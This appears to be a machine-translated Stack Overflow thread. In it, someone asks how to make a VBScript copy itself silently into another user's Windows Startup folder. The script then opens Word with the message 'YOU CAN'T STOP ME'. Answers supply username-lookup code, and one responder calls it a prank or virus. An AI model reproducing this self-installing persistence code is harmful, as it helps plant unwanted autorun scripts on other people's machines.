Vba VBS将自身复制到启动文件夹中
这是我的代码: 我正在努力帮助我的朋友。 大多数代码都可以工作,但我不知道如何让代码的第一部分获得用户的用户名。(我的用户名) 如何使此代码复制到用户计算机的“开始”菜单中Vba VBS将自身复制到启动文件夹中,vba,vbscript,Vba,Vbscript,这是我的代码: 我正在努力帮助我的朋友。 大多数代码都可以工作,但我不知道如何让代码的第一部分获得用户的用户名。(我的用户名) 如何使此代码复制到用户计算机的“开始”菜单中 谢谢你帮助我 应用程序。用户名将提供用户在安装Office套件时输入的名称,但这可能不是您想要的 Environ$(“UserName”)将从Windows环境变量获取用户名。如果设置好了 这会更长更复杂,但也会返回用户名(由Microsoft提供一个示例) 一旦你有了用户ID,你就可以处理它的其余部分了。我不太清楚你所说的
谢谢你帮助我
应用程序。用户名将提供用户在安装Office套件时输入的名称,但这可能不是您想要的
Environ$(“UserName”)
将从Windows环境变量获取用户名。如果设置好了
这会更长更复杂,但也会返回用户名(由Microsoft提供一个示例)
一旦你有了用户ID,你就可以处理它的其余部分了。我不太清楚你所说的“让这段代码复制到开始菜单”是什么意思。实际上,VBA代码不可能只是放在要执行的文件中。它需要连接到某种Office主机应用程序
如果您想在“开始”菜单中插入单词doc(或它的快捷方式),您可以在创建“开始”菜单快捷方式时进行一些搜索,并在遇到墙时询问有关问题。Set wshShell=CreateObject(“WScript.Shell”)
strUserName=wshShell.ExpandEnvironmentStrings(“%USERNAME%”)
WScript.Echo“用户名:”&strUserName
这段代码应该可以帮助您获取发送给谁的用户名或其他信息。根据您的代码判断,您希望将其放在开头,而不是我的用户名。根据上下文判断,“将此代码复制到开始菜单”意味着启动时自动运行。我猜这可能是恶作剧(内容中给出的可能性更大)或是近乎恶意的东西。但你为什么要制造恶作剧和病毒呢?把空格去掉
set wshShell = CreateObject("Wscript.Shell")
sSourceFile = "C:\My UserName\Downloads\Word\Word.VBS"
sTargetFolder = "C:\My UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
sCmd = "%comspec% /c copy """ & sSourceFile & """ """ & sTargetFolder & """ /Y"
wshShell.Run sCmd, 0, True
Set objWord = CreateObject("Word.Application")
objWord.Visible = True
Set objDoc = objWord.Documents.Add()
Set objSelection = objWord.Selection
objSelection.Font.Name = "Calibri"
objSelection.Font.Size = "9"
objSelection.TypeText "===================================================================================================="
objSelection.TypeParagraph()
objSelection.Font.Name = "Calibri"
objSelection.Font.Size = "12"
objSelection.TypeText "___________________________________________________________________________"
objSelection.TypeParagraph()
objSelection.Font.Name = "Algerian"
objSelection.Font.Size = "77"
objSelection.TypeText "EQUACHALK"
objSelection.TypeParagraph()
objSelection.Font.Name = "Calibri"
objSelection.Font.Size = "12"
objSelection.TypeText "--------------------------------------------------------------------------------------------------------------------------"
objSelection.TypeParagraph()
objSelection.Font.Name = "Calibri"
objSelection.Font.Size = "12"
objSelection.TypeText "--------------------------------------------------------------------------------------------------------------------------"
objSelection.TypeParagraph()
objSelection.Font.Name = "Algerian"
objSelection.Font.Size = "49"
objSelection.TypeText "YOU CAN'T STOP ME"
objSelection.TypeParagraph()
objSelection.Font.Name = "Calibri"
objSelection.Font.Size = "12"
objSelection.TypeText "___________________________________________________________________________"
objSelection.TypeParagraph()
objSelection.Font.Name = "Calibri"
objSelection.Font.Size = "9"
objSelection.TypeText "===================================================================================================="
objSelection.TypeParagraph()
' Declare for call to mpr.dll.
Declare Function WNetGetUser Lib "mpr.dll" _
Alias "WNetGetUserA" (ByVal lpName As String, _
ByVal lpUserName As String, lpnLength As Long) As Long
Const NoError = 0 'The Function call was successful
Sub GetUserName()
' Buffer size for the return string.
Const lpnLength As Integer = 255
' Get return buffer space.
Dim status As Integer
' For getting user information.
Dim lpName, lpUserName As String
' Assign the buffer size constant to lpUserName.
lpUserName = Space$(lpnLength + 1)
' Get the log-on name of the person using product.
status = WNetGetUser(lpName, lpUserName, lpnLength)
' See whether error occurred.
If status = NoError Then
' This line removes the null character. Strings in C are null-
' terminated. Strings in Visual Basic are not null-terminated.
' The null character must be removed from the C strings to be used
' cleanly in Visual Basic.
lpUserName = Left$(lpUserName, InStr(lpUserName, Chr(0)) - 1)
Else
' An error occurred.
MsgBox "Unable to get the name."
End
End If
' Display the name of the person logged on to the machine.
MsgBox "The person logged on this machine is: " & lpUserName
End Sub